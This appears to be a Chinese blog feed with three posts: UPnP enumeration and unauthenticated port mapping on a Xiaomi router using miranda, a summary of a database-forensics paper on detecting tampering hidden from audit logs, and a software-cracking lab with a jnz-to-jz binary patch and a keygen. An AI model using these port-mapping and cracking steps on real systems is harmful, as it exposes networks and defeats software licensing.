    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    sudo python2 miranda.py -i wlx44334c388fbd -v

    Miranda v1.3
    The interactive UPnP client
    Craig Heffner, http://www.devttys0.com


    Binding to interface wlx44334c388fbd ...

    Verbose mode enabled!
    upnp> msearch

    Entering discovery mode for 'upnp:rootdevice', Ctl+C to stop...

    ****************************************************************
    SSDP reply message from 192.168.31.1:5351
    XML file is located at http://192.168.31.1:5351/rootDesc.xml
    Device is running MiWiFi/x UPnP/1.1 MiniUPnPd/2.0
    ****************************************************************

    upnp> host get 0

    Requesting device and service info for 192.168.31.1:5351 (this could take a few seconds)...

    Device urn:schemas-upnp-org:device:WANDevice:1 does not have a presentationURL
    Device urn:schemas-upnp-org:device:WANConnectionDevice:1 does not have a presentationURL
    Host data enumeration complete!

    upnp> host list

    [0] 192.168.31.1:5351

    upnp> host info 0

    xmlFile : http://192.168.31.1:5351/rootDesc.xml
    name : 192.168.31.1:5351
    proto : http://
    serverType : MiWiFi/x UPnP/1.1 MiniUPnPd/2.0
    upnpServer : MiWiFi/x UPnP/1.1 MiniUPnPd/2.0
    dataComplete : True
    deviceList : {}

    upnp> host info 0 deviceList

    InternetGatewayDevice : {}
    WANDevice : {}
    WANConnectionDevice : {}

    upnp> host info 0 deviceList WANConnectionDevice

    manufacturerURL : http://miniupnp.free.fr/
    modelName : MiniUPnPd
    UPC : 000000000000
    modelNumber : 20180830
    friendlyName : WANConnectionDevice
    fullName : urn:schemas-upnp-org:device:WANConnectionDevice:1
    modelDescription : MiniUPnP daemon
    UDN : uuid:f3539dd5-8dc5-420c-9070-c6f66d27fc8e
    modelURL : http://miniupnp.free.fr/
    manufacturer : MiniUPnP
    services : {}

    upnp> host info 0 deviceList WANConnectionDevice services WANIPConnection

    eventSubURL : /evt/IPConn
    controlURL : /ctl/IPConn
    serviceId : urn:upnp-org:serviceId:WANIPConn1
    SCPDURL : /WANIPCn.xml
    fullName : urn:schemas-upnp-org:service:WANIPConnection:1
    actions : {}
    serviceStateVariables : {}

    upnp> host info 0 deviceList WANConnectionDevice services WANIPConnection actions

    AddPortMapping : {}
    GetNATRSIPStatus : {}
    GetGenericPortMappingEntry : {}
    GetSpecificPortMappingEntry : {}
    ForceTermination : {}
    GetExternalIPAddress : {}
    GetConnectionTypeInfo : {}
    GetStatusInfo : {}
    SetConnectionType : {}
    DeletePortMapping : {}
    RequestConnection : {}

    upnp> host info 0 deviceList WANConnectionDevice services WANIPConnection serviceStateVariables

    InternalClient : {}
    Uptime : {}
    PortMappingLeaseDuration : {}
    PortMappingDescription : {}
    RemoteHost : {}
    PossibleConnectionTypes : {}
    ExternalPort : {}
    RSIPAvailable : {}
    ConnectionStatus : {}
    PortMappingNumberOfEntries : {}
    ExternalIPAddress : {}
    ConnectionType : {}
    NATEnabled : {}
    LastConnectionError : {}
    InternalPort : {}
    PortMappingProtocol : {}
    PortMappingEnabled : {}

    upnp> host summary 0

    Host: 192.168.31.1:5351
    XML File: http://192.168.31.1:5351/rootDesc.xml
    InternetGatewayDevice
    manufacturerURL: http://www.mi.com
    modelName: MiWiFi Router
    UPC: 000000000000
    modelNumber: 20180830
    presentationURL: http://miwifi.com/
    friendlyName: MiWiFi router
    fullName: urn:schemas-upnp-org:device:InternetGatewayDevice:1
    modelDescription: MiWiFi Router
    UDN: uuid:f3539dd5-8dc5-420c-9070-c6f66d27fc8c
    modelURL: http://www1.miwifi.com
    manufacturer: Xiaomi
    WANDevice
    manufacturerURL: http://miniupnp.free.fr/
    modelName: WAN Device
    UPC: 000000000000
    modelNumber: 20180830
    friendlyName: WANDevice
    fullName: urn:schemas-upnp-org:device:WANDevice:1
    modelDescription: WAN Device
    UDN: uuid:f3539dd5-8dc5-420c-9070-c6f66d27fc8d
    modelURL: http://miniupnp.free.fr/
    manufacturer: MiniUPnP
    WANConnectionDevice
    manufacturerURL: http://miniupnp.free.fr/
    modelName: MiniUPnPd
    UPC: 000000000000
    modelNumber: 20180830
    friendlyName: WANConnectionDevice
    fullName: urn:schemas-upnp-org:device:WANConnectionDevice:1
    modelDescription: MiniUPnP daemon
    UDN: uuid:f3539dd5-8dc5-420c-9070-c6f66d27fc8e
    modelURL: http://miniupnp.free.fr/
    manufacturer: MiniUPnP
    • 使用miranda发送UPnP命令
      获取外部IP地址
    1
    2
    3
    upnp> host send 0 WANConnectionDevice WANIPConnection GetExternalIPAddress

    NewExternalIPAddress : 172.16.173.231

    增加一个端口映射,将路由器上端口为1900的服务映射到外网端口8080

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    upnp> host send 0 WANConnectionDevice WANIPConnection AddPortMapping

    Required argument:
    Argument Name: NewPortMappingDescription
    Data Type: string
    Allowed Values: []
    Set NewPortMappingDescription value to: HACK

    Required argument:
    Argument Name: NewLeaseDuration
    Data Type: ui4
    Allowed Values: []
    Value Min: 0
    Value Max: 604800
    Set NewLeaseDuration value to: 0

    Required argument:
    Argument Name: NewInternalClient
    Data Type: string
    Allowed Values: []
    Set NewInternalClient value to: 192.168.31.1

    Required argument:
    Argument Name: NewEnabled
    Data Type: boolean
    Allowed Values: []
    Set NewEnabled value to: 1

    Required argument:
    Argument Name: NewExternalPort
    Data Type: ui2
    Allowed Values: []
    Set NewExternalPort value to: 8080

    Required argument:
    Argument Name: NewRemoteHost
    Data Type: string
    Allowed Values: []
    Set NewRemoteHost value to:

    Required argument:
    Argument Name: NewProtocol
    Data Type: string
    Allowed Values: ['TCP', 'UDP']
    Set NewProtocol value to: TCP

    Required argument:
    Argument Name: NewInternalPort
    Data Type: ui2
    Allowed Values: []
    Value Min: 1
    Value Max: 65535
    Set NewInternalPort value to: 1900
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    upnp> host send 0 WANConnectionDevice WANIPConnection GetSpecificPortMappingEntry

    Required argument:
    Argument Name: NewExternalPort
    Data Type: ui2
    Allowed Values: []
    Set NewExternalPort value to: 8080

    Required argument:
    Argument Name: NewRemoteHost
    Data Type: string
    Allowed Values: []
    Set NewRemoteHost value to:

    Required argument:
    Argument Name: NewProtocol
    Data Type: string
    Allowed Values: ['TCP', 'UDP']
    Set NewProtocol value to: TCP

    NewPortMappingDescription : HACK
    NewLeaseDuration : 0
    NewInternalClient : 192.168.31.1
    NewEnabled : 1
    NewInternalPort : 1900

    可以无需验证地删除映射

    1
    upnp> host send 0 WANConnectionDevice WANIPConnection DeletePortMapping


    虽然UPnP是一种很少理解的协议,但它在绝大多数家庭网络上都很活跃,甚至在某些公司网络上也是如此。许多设备支持UPnP以便于消费者使用,但是,它们通常支持不允许任何服务自动执行的操作,尤其是未经授权的情况下。更糟糕的是,协议实现本身很少以安全思维构建,使其可以进一步利用。
    防止本地/远程利用UPnP的最佳方法是在任何/所有网络设备上禁用该功能。然而,考虑到这个协议和其他“自动魔术”协议旨在帮助懒惰的用户,他们可能不知道这些协议的危险,唯一真正的解决方案是让供应商更加关注他们的设计和实施,并且更加安全。

    浏览配置文件

    通过find命令搜索

    root@XiaoQiang:/# find -name *upnp*./etc/rc.d/S95miniupnpd./etc/init.d/miniupnpd./etc/hotplug.d/iface/50-miniupnpd./etc/config/upnpd./tmp/upnp.leases./tmp/etc/miniupnpd.conf./tmp/run/miniupnpd.pid./usr/lib/lua/luci/view/web/setting/upnp.htm./usr/sbin/miniupnpd./usr/share/miniupnpd./www/xiaoqiang/web/css/upnp.css./data/etc/rc.d/S95miniupnpd./data/etc/init.d/miniupnpd./data/etc/hotplug.d/iface/50-miniupnpd./data/etc/config/upnpd
    • /etc/rc.d 启动的配置文件和脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    !/bin/sh /etc/rc.common
    # Copyright (C) 2006-2011 OpenWrt.org

    START=95
    SERVICE_USE_PID=1
    upnpd_get_port_range() {
    local _var="$1"; shift
    local _val
    config_get _val "$@"
    case "$_val" in
    [0-9]*[:-][0-9]*)
    export -n -- "${_var}_start=${_val%%[:-]*}"
    export -n -- "${_var}_end=${_val##*[:-]}"
    ;;
    [0-9]*)
    export -n -- "${_var}_start=$_val"
    export -n -- "${_var}_end="
    ;;
    esac
    }
    conf_rule_add() {
    local cfg="$1"
    local tmpconf="$2"
    local action external_port_start external_port_end int_addr
    local internal_port_start internal_port_end

    config_get action "$cfg" action "deny" # allow or deny
    upnpd_get_port_range "ext" "$cfg" ext_ports "0-65535" # external ports: x, x-y, x:y
    config_get int_addr "$cfg" int_addr "0.0.0.0/0" # ip or network and subnet mask (internal)
    upnpd_get_port_range "int" "$cfg" int_ports "0-65535" # internal ports: x, x-y, x:y or range

    # Make a single IP IP/32 so that miniupnpd.conf can use it.
    case "$int_addr" in
    */*) ;;
    *) int_addr="$int_addr/32" ;;
    esac

    echo "${action} ${ext_start}${ext_end:+-}${ext_end} ${int_addr} ${int_start}${int_end:+-}${int_end}" >>$tmpconf
    }
    upnpd_write_bool() {
    local opt="$1"
    local def="${2:-0}"
    local alt="$3"
    local val

    config_get_bool val config "$opt" "$def"
    if [ "$val" -eq 0 ]; then
    echo "${alt:-$opt}=no" >> $tmpconf
    else
    echo "${alt:-$opt}=yes" >> $tmpconf
    fi
    }

    boot() {
    return 0
    }

    start() {
    config_load "upnpd"
    local extiface intiface upload download logging secure enabled natpmp
    local extip port usesysuptime conffile serial_number model_number
    local uuid notify_interval presentation_url enable_upnp
    local upnp_lease_file clean_ruleset_threshold clean_ruleset_interval

    config_get extiface config external_iface
    config_get intiface config internal_iface
    config_get extip config external_ip
    config_get port config port 5000
    config_get upload config upload
    config_get download config download
    config_get_bool logging config log_output 0
    config_get conffile config config_file
    config_get serial_number config serial_number
    config_get model_number config model_number
    config_get uuid config uuid
    config_get notify_interval config notify_interval
    config_get presentation_url config presentation_url
    config_get upnp_lease_file config upnp_lease_file
    config_get clean_ruleset_threshold config clean_ruleset_threshold
    config_get clean_ruleset_interval config clean_ruleset_interval

    local args

    . /lib/functions/network.sh
    local ifname
    network_get_device ifname ${extiface:-wan}

    if [ -n "$conffile" ]; then
    args="-f $conffile"
    else
    local tmpconf="/var/etc/miniupnpd.conf"
    args="-f $tmpconf"
    mkdir -p /var/etc

    echo "ext_ifname=$ifname" >$tmpconf

    [ -n "$extip" ] && \
    echo "ext_ip=$extip" >>$tmpconf

    local iface
    for iface in ${intiface:-lan}; do
    local device
    network_get_device device "$iface" && {
    echo "listening_ip=$device" >>$tmpconf
    }
    done

    [ "$port" != "auto" ] && \
    echo "port=$port" >>$tmpconf

    config_load "upnpd"
    upnpd_write_bool enable_natpmp 1
    upnpd_write_bool enable_upnp 1
    upnpd_write_bool secure_mode 1
    upnpd_write_bool system_uptime 1
    [ -n "$upnp_lease_file" ] && {
    touch $upnp_lease_file
    echo "lease_file=$upnp_lease_file" >>$tmpconf
    }

    [ -n "$upload" -a -n "$download" ] && {
    echo "bitrate_down=$(($download * 1024 * 8))" >>$tmpconf
    echo "bitrate_up=$(($upload * 1024 * 8))" >>$tmpconf
    }

    [ -n "${presentation_url}" ] && \
    echo "presentation_url=${presentation_url}" >>$tmpconf

    [ -n "${notify_interval}" ] && \
    echo "notify_interval=${notify_interval}" >>$tmpconf

    [ -n "${clean_ruleset_threshold}" ] && \
    echo "clean_ruleset_threshold=${clean_ruleset_threshold}" >>$tmpconf

    [ -n "${clean_ruleset_interval}" ] && \
    echo "clean_ruleset_interval=${clean_ruleset_interval}" >>$tmpconf

    [ -z "$uuid" ] && {
    uuid="$(cat /proc/sys/kernel/random/uuid)"
    uci set upnpd.config.uuid=$uuid
    uci commit upnpd
    }

    [ "$uuid" = "nocli" ] || \
    echo "uuid=$uuid" >>$tmpconf

    [ -n "${serial_number}" ] && \
    echo "serial=${serial_number}" >>$tmpconf

    [ -n "${model_number}" ] && \
    echo "model_number=${model_number}" >>$tmpconf
    config_foreach conf_rule_add perm_rule "$tmpconf"
    fi


    if [ -n "$ifname" ]; then
    # start firewall
    iptables -L MINIUPNPD >/dev/null 2>/dev/null || fw3 reload

    if [ "$logging" = "1" ]; then
    SERVICE_DAEMONIZE=1 \
    service_start /usr/sbin/miniupnpd $args -d
    else
    SERVICE_DAEMONIZE= \
    service_start /usr/sbin/miniupnpd $args
    fi
    else
    logger -t "upnp daemon" "external interface not found, not starting"
    fi
    return 0
    }

    stop() {
    service_stop /usr/sbin/miniupnpd

    iptables -t nat -F MINIUPNPD 2>/dev/null
    iptables -t filter -F MINIUPNPD 2>/dev/null
    return 0
    }

    SmartController
    messagingagent

    ]]>
    + + - IOT + + IOT + - - 小米 - 路由器 - MiniUPnP - -
    - - <![CDATA[复原数据库存储以检测和跟踪安全漏洞]]> - %2F2019%2F04%2F15%2FCaving-db-storage%2F - + + + + + 小米 + + 路由器 + + MiniUPnP + + + + + + + + + 复原数据库存储以检测和跟踪安全漏洞 + + /2019/04/15/Caving-db-storage/ + + Carving Database Storage to Detect and Trace Security Breaches

    复原数据库存储以检测和跟踪安全漏洞
    原文下载

    Motivation

    DBMS(数据库管理系统)

    • 通常用于存储和处理敏感数据,因此,投入了大量精力使用访问控制策略来保护DBMS。
    • 一旦用户在DBMS中获得提升权限(无论是合理的还是通过攻击的),实施的安全方案可以绕过,因此无法再根据政策保证数据受到保护。
      1)访问控制策略可能不完整,允许用户执行他们不能执行的命令
      2)用户可能通过使用DB或OS代码中的安全漏洞或通过其他方式非法获取权限
    • 部署预防措施
      1)在及时发生安全漏洞时检测安全漏洞;
      2)在检测到攻击时收集有关攻击的证据,以便设计对抗措施并评估损害程度

    例子

    Malice是政府机构的数据库管理员,为公民提供犯罪记录。 Malice最近被判犯有欺诈罪,并决定滥用她的特权,并通过运行DELETE FROM Record WHERE name = ‘Malice’来删除她的犯罪记录。
    但是,她知道数据库操作需要定期审核,以检测对机构存储的高度敏感数据的篡改。为了覆盖她的操作,Malice在运行DELETE操作之前停用审计日志,然后再次激活日志。因此,在数据库中没有她的非法操纵的日志跟踪。
    但是,磁盘上的数据库存储仍将包含已删除行的证据。
    作者的方法检测已删除的痕迹和过期的记录版本,并将它们与审核日志进行匹配,以检测此类攻击,并提供数据库操作方式的证据。
    作者将检测已删除的行,因为它与审计日志中的任何操作都不对应,我们会将其标记为篡改的潜在证据。

    思路一览

    提出方法

    使用称为DICE的现有取证工具(Wagner等,2017)来重建数据库存储
    通过匹配提取的存储条目,报告任何无法通过操作记录解释的工件来自动检测潜在的攻击

    1. DBDetective检查数据库存储和RAM快照,并将它找到的内容与审计日志进行比较
    2. 然后,在不影响数据库操作的情况下,对核心数据进行分析。

    确定数据库篡改的可能性,并指出数据库存储中发现的具体不一致性。
    由于数据库存储的易变性,无法保证将发现所有攻击。
    在对于我们评估的每个主要DBMS,我们假设DBMS已启用审计日志来捕获与调查相关的SQL命令。
    我们进一步假设一名攻击者通过以下方式阻止记录已执行的恶意命令:

    • 停用审计策略并暂时挂起日志记录
    • 更改现有审计日志(两者都在数据库日志可靠性部分中讨论)。
      通过将取证分析技术应用于数据库存储或缓冲区缓存,并将发现的证据与审计日志相匹配,可以:
    • 检测DBMS审核日志中未显示的多种类型的数据库访问和操作。
    • 将未归因的记录修改分类为模糊的INSERT,DELETE或UPDATE命令。
    • 检测无法从审核日志中的活动派生的(只读)SELECT查询中的缓存数据。

    Reliability of database logs

    攻击者可以更改两种类型的日志: write-ahead logs (WAL) and audit logs (event history records)

    • WALs以低级别记录数据库修改以支持ACID保证,提供最近表修改的历史记录。
      通常无法禁用或轻松修改WAL,并且需要读取专用工具(例如,Oracle LogMiner或PostgreSQL pg_xlogdump)。
      某些DBMS允许为特定操作禁用WAL,例如批量加载或结构重建。因此,可以通过此功能插入记录而不留下日志跟踪。
    • audit logs记录配置的用户数据库操作。包括SQL操作和其他用户活动。审计日志根据数据库管理员配置的日志记录策略存储已执行的SQL命令。 因此,管理员可以根据需要禁用日志记录或修改单个日志记录。

    Detecting hidden record modifications

    插入或修改表记录时,数据库中会发生一连串的存储更改。 除了受影响记录的数据本身之外,页面元数据会更新(例如,设置删除标记),并且存储记录的索引的页面会改变(例如,以反映记录的删除)。 如果尚未缓存,则每个访问的页面都将被带入RAM。 行标识符和结构标识符可用于将所有这些更改绑定在一起。
    此外,DBA(数据库管理员)还可以禁用批量修改的日志记录(出于性能考虑)——可以利用此权限来隐藏恶意修改。
    在本节中,我们将描述如何检测已修改记录与已记录命令之间的不一致。

    Deleted records

    1. 算法
      删除的记录不会被物理删除,而是在页面中标记为“已删除”; 已删除行占用的存储空间将成为未分配的空间,最终将被新行覆盖。这些对数据库存储的更改不能被绕过或控制。
      识别存储中与日志中的任何删除操作都不匹配的已删除行。
    2. 实例
    • DICE从Customer表重建了三个删除的行
      (1,Christine,Chicago)
      (3,Christopher,Seattle)
      (4,Thomas,Austin)
    • 日志文件包含两个操作
      在算法1中,DeletedRows被设置为三个重建的已删除行。
      算法1返回(4,Thomas,Austin),表示该删除的记录不能归因于任何删除。

    Inserted records

    1. 算法
      新插入的行将附加到表的最后一页的末尾(如果最后一页已满,则为新页)或覆盖由先前删除的行创建的可用空间。
      如果“活跃”新表行与审核日志中的任何插入操作都不匹配,则此行是可疑活动的标志。
      算法2中使用这些“活跃”记录来确定重构行是否可归因于审计日志中的插入。
    2. 实例
    • 该日志包含六个操作。
      当行从T1插入到T4时,它们将附加到表的末尾。
      在T5,删除(3,Lamp)
      然后在T6插入(5,Bookcase)。
      由于row(5,Bookcase)大于删除的行(3,Lamp),因此它将附加到表的末尾。
    • DICE重建了五个活动记录
      包括(0,Dog)和(2,Monkey)
      行被初始化为算法2的五个重建活动行
      算法2因此返回(0,Dog)和(2,Monkey)
      因为这些记录无法与记录的插入匹配。

    Updated records

    1. 算法
      UPDATE操作本质上是一个DELETE操作,后跟一个INSERT操作。
      为了考虑更新的行,我们使用算法1返回的未标记删除行和算法2返回的未标记插入行作为算法3的输入。如果删除的行可以与更新的WHERE子句匹配,那么此删除的行操作 被标记为存在于日志中。 接下来,如果未标记的插入行可以与SET子句中的值匹配,并且插入的行匹配已删除行中除SET子句值之外的所有值,则此插入的行操作将出现在日志中。
    2. 实例
      算法1返回行(2,Desk)
      算法2返回行(0,Dog)和(2,Monkey)
      使用这些记录集,算法3返回(2,Desk)作为已删除记录的列表,并将(0,Dog)和(2,Monkey)作为插入记录的列表。
      此外,算法3识别(2,Desk)和(2,Monkey)中第一列的共享值2。 虽然这不能单独确认UPDATE操作,但可以合理地得出结论:
      (2,Desk)已更新为(2,Monkey)。

    Detecting inconsistencies for read-only queries

    DBMS使用称为缓冲区管理器的组件将页面从磁盘缓存到内存中。数据以页为单位读入缓冲池,可以通过DICE重建。
    在本节中,将描述如何将缓冲池中的工件与审计日志中的只读查询进行匹配。
    数据库查询可以使用两种可能的访问表的方式之一:
    全表扫描(FTS)或索引扫描(IS)。
    FTS读取所有表页,而IS使用索引结构来检索引用基于搜索关键字的指针列表。

    Full table scan

    当查询使用FTS时,只会缓存大表的一小部分。 可以完整地缓存小表(相对于缓冲池大小)。 每个数据库都在页眉中存储唯一的页面标识符,这使我们能够有效地将缓存的页面与磁盘上的对应页面进行匹配。
    我们可以通过SID=131识别属于Employee的页面,该SID=131存储在页面标题中。 DICE只能以更快的速度返回页面结构标识符(无需解析页面内容)。
    Q2和Q4都通过FTS访问员工。 每次扫描Employee表时,表中相同的四个页面(PID:97,98,99和100)都会加载到缓冲池中。
    因此,当在存储器中找到具有PID:97,98,99和100以及SID:131的四个页面时,可以假设FTS应用在Employee表上。

    Index access

    Customer表的SID=124,C_City列上的二级索引的SID=126.
    Q1在城市Dallas上进行过滤,并使用PID=2缓存索引页。此页面的最小值为Chicago和最大值为Detroit 。
    Q3在城市Jackson上过滤,并缓存索引页面,页面标识符为4.此页面的最小值为Houston,最大值为Lincoln。
    如果审核日志中的查询过滤了索引页的最小值和最大值范围内的值,则该页可以归因于该查询。

    Conclusions and future work

    • 审计日志和其他内置DBMS安全机制旨在检测或阻止攻击者执行的恶意操作。这种机制的固有缺点是具有足够权限的攻击者可以绕过它们来隐藏它们的踪迹。
    • 我们提供并全面评估DBDetective,它可以检测攻击者通过从审计日志中删除从而隐藏的数据库操作,并收集有关攻击者访问和修改哪些数据的证据。
    • 我们的方法依赖于对数据库存储的取证检查,并将此信息与审核日志中的条目相关联,以发现恶意操作的证据。
    • 重要的是,数据库存储几乎不可能被欺骗,因此,与例如审计日志相比,它是更可靠的篡改证据来源。
    • 鉴于存储快照提供的信息不完整,我们将探索概率匹配,确定存储工件由审计日志中的操作引起的可能性,根据操作的时间顺序利用其他约束,模拟审计中SQL命令的部分历史记录获得更精确的匹配,并根据检测到的异常动态调整拍摄快照的频率。
    ]]>
    + + - 顶会论文 + + 顶会论文 + - - 数据库 - 复原文件 - 取证 - -
    - - <![CDATA[逆向工程与软件破解]]> - %2F2019%2F03%2F28%2F%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B%E5%AE%9E%E9%AA%8C%2F - + + + + + 数据库 + + 复原文件 + + 取证 + + + + + + + + + 逆向工程与软件破解 + + /2019/03/28/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B%E5%AE%9E%E9%AA%8C/ + + 软件保护方式
    1. 功能限制
    2. 时间限制
    • 运行时长限制
    • 使用日期限制
    • 使用次数限制
    1. 警告窗口

    分析工具

    1. 静态分析工具
    • IDA
    • W32Dasm
    • lordPE
    • Resource Hacker
    1. 动态分析工具
    • OllyDbg
    • WinDbg

    对抗分析技术

    1. 反静态分析技术
    • 花指令
    • 自修改代码技术
    • 多态技术
    • 变形技术
    • 虚拟机保护技术
    1. 反动态分析技术
    • 检测调试状态
    • 检测用户态调试器
    • 检测内核态调试器
    • 其他方法:父进程检测;StartupInfo 结构;时间差;通过Trap Flag检测
    1. 发现调试器后的处理
    • 程序自身退出
    • 向调试器窗口发送消息使调试器退出
    • 使调试器窗口不可用
    • 终止调试器进程

    PE文件格式基础


    加壳脱壳


    反调试技术

    反调试技术,程序用它来识别是否被调试,或者让调试器失效。为了阻止调试器的分析,当程序意识到自己被调试时,它们可能改变正常的执行路径或者修改自身程序让自己崩溃,从而增加调试时间和复杂度。

    探测windows调试器

    1. 使用windows API
      使用Windows API函数探测调试器是否存在是最简单的反调试技术。
      通常,防止使用API进行反调试的方法有在程序运行期间修改恶意代码,使其不能调用API函数,或修改返回值,确保执行合适的路径,还有挂钩这些函数。
      常用来探测调试器的API函数有:IsDebuggerPresent CheckRemoteDebuggerPresent NtQueryInformationProcess OutputDebuggString
    2. 手动检测数据结构
      程序编写者经常手动执行与这些API功能相同的操作
    • 检查BeingDebugged属性
    • 检测ProcessHeap属性
    • 检测NTGlobalFlag
    1. 系统痕迹检测
      通常,我们使用调试工具来分析程序,但这些工具会在系统中驻留一些痕迹。程序通过搜索这种系统的痕迹,来确定你是否试图分析它。例如,查找调试器引用的注册表项。同时,程序也可以查找系统的文件和目录,查找当前内存的痕迹,或者查看当前进程列表,更普遍的做法是通过FindWindows来查找调试器。

    识别调试器的行为

    在逆向工程中,可以使用断点或单步调试来帮助分析,但执行这些操作时,会修改进程中的代码。因此可以使用几种反调试技术探测INT扫描、完整性校验以及时钟检测等几种类型的调试器行为。

    1. INT扫描
      调试器设置断点的基本机制是用软件中断INT 3,机器码为0xCC,临时替换程序中的一条指令。因此可以通过扫描INT 3修改来检测。
    2. 执行代码校验和检查
      与INT扫描目的相同,但仅执行机器码的CRC或MD5校验和检查。
    3. 时钟检测
      被调试时,进程的运行速度大大降低,常用指令有:rdstc QueryPerformanceCounter GetTickCount,有如下两种方式探测时钟:
    • 记录执行一段操作前后的时间戳
    • 记录触发一个异常前后的时间戳

      干扰调试器的功能

      本地存储(TLS)回调:TLS回调被用来在程序入口点执行之前运行代码,这发生在程序刚被加载到调试器时
      使用异常:使用SEH链可以实现异常,程序可以使用异常来破坏或探测调试器,调试器捕获异常后,并不会将处理权立即返回给被调试进程。
      插入中断:插入INT 3、INT 2D、ICE

      调试器漏洞

      PE头漏洞、OutputDebugString漏洞

    实验一:软件破解

    对象

    crack.exe,28.0 KB

    • 无保护措施:无壳、未加密、无反调试措施
    • 用户名至少要5个字节
    • 输入错误验证码时输出:“Bad Boy!”

    爆破

    查找显示注册结果相关代码

    当输入错误验证码时,程序会输出“Bad Boy”,因此我们将程序拖入IDA,以流程图显示函数内部的跳转。查找“Bad Boy”字符串,我们可以定位到显示注册结果的相关代码:

    查找注册码验证相关代码

    用鼠标选中程序分支点,按空格切换回汇编指令界面

    可以看到,这条指令位于PE文件的.text节,并且IDA已经自动将地址转换为运行时的内存地址VA:004010F9

    修改程序跳转

    • 现在关闭IDA,换用OllyDbg进行动态调试来看看程序时如何分支跳转的Ctrl+G直接跳到由IDA得到的VA:004010F9处查看那条引起程序分支的关键指令
    • 选中这条指令,按F2设置断点,再按F9运行程序,这时候控制权会回到程序,OllyDbg暂时挂起。到程序提示输入名字和序列号,随意输入(名字大于五个字节),点击ok后,OllyDbg会重新中断程序,收回控制权,如图:
    • 验证函数的返回值存于EAX寄存器中,if语句通过以下两条指令执行

      1
      2
      cmp eax,ecx
      jnz xxxxxxx
    • 也就是说,当序列号输入错误时,EAX中的值为0,跳转将被执行。
      如果我们把jnz这条指令修改为jz,那么整个程序的逻辑就会反过来。
      双击jnz这条指令,将其改为jz,单击”汇编”将其写入内存

      可以看到此时程序执行了相反的路径

    • 上面只是在内存中修改程序,我们还需要在二进制文件中也修改相应的字节,这里考察VA与文件地址之间的关系

    • 用LordPE打开.exe文件,查看PE文件的节信息

      根据VA与文件地址的换算公式:
      1
      2
      3
      文件偏移地址 = VA - Image Base - 节偏移
      = 0x004010F9 - 0x00400000 - 0
      = 0x10F9

    也就是说,这条指令在PE文件中位于10F9字节处,使用010Editer打开crack.exe,将这一字节的75(JNZ)`改为74(JZ)`,保存后重新执行,破解成功!

    编写注册机

    查找显示注册结果相关代码

    通过查找字符串“good boy”等,我们可以找到显示注册结果的相关代码

    查找注册码验证相关代码

    因为检测密钥是否正确时会将结果返回到EAX寄存器中,因此,在检测密钥前必然会对EAX寄存器清空,由此我们可以找到注册码验证的相关代码。

    根据注册码验证代码编写注册机

    分析上图算法,按tab键转换为高级语言

    1
    2
    3
    4
    for ( i = 0; i < v6; v12 = v10 )
    v10 = (v6 + v12) * lpStringa[i++];
    if ( (v12 ^ 0xA9F9FA) == atoi(v15) )
    MessageBoxA(hDlg, aTerimaKasihKer, aGoodBoy, 0);

    可以看出,生成注册码主要在for循环中完成,之后将生成的注册码与输入相比较,判断是否正确。
    所以,只要能弄明白v6,v12,v10,v15的含义,我们就可以轻松的编写注册机。
    打开ollybdg,在进入循环之前设下断点,动态调试程序

    1
    2
    3
    4
    5
    6
    7
    8
    004010CC  |> /8B4D 10       |mov ecx,[arg.3]  //此时ecx为name
    004010CF |. 8B55 0C |mov edx,[arg.2] //edx为0x1908
    004010D2 |. 03D3 |add edx,ebx //edx加上name的长度(ebx)
    004010D4 |. 0FBE0C08 |movsx ecx,byte ptr ds:[eax+ecx] //ecx=61h
    004010D8 |. 0FAFCA |imul ecx,edx //61h(a) * edx
    004010DB |. 40 |inc eax //eax加1(初始为0)
    004010DC |. 894D 0C |mov [arg.2],ecx
    004010DF |. 3BC3 |cmp eax,ebx //循环是否结束

    arg.3为输入的namearg.2初始为0x1908ebxname的长度,eax每次循环加1直到等于长度
    因此,我们可以对参数的含义进行解释如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    v12 = 6408;   //0x1908
    v10 = 6408; //0x1908
    v6 = len(name);
    v12 = input_serial;
    for ( i = 0; i < v6; i++ ){
    v12 = v10;
    v10 = (v6 + v12) * lpStringa[i];
    }
    if ((v12 ^ 0xA9F9FA) == atoi(v15)){
    MessageBoxA(hDlg, aTerimaKasihKer, aGoodBoy, 0);
    }

    可见,v12^0xA9F9FA的结果即是正确的注册码,我们编写一个简单的程序帮助我们生成注册码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    #include <iostream>
    #include<stdio.h>

    using namespace::std;
    int main(){
    int v12;
    int v10 = 6408; //0x1908
    string name;
    cout << "请输入name: ";
    cin >> name;
    int len = name.size();
    for(int i = 0; i < len+1; i++ ){
    v12 = v10;
    v10 = (len + v12) * name[i];
    }
    cout<<"\n"<<"注册码为: "<<(v12 ^ 0xA9F9FA)<<endl;
    return 0;
    }

    计算出”testname”的对应注册码

    注册成功!

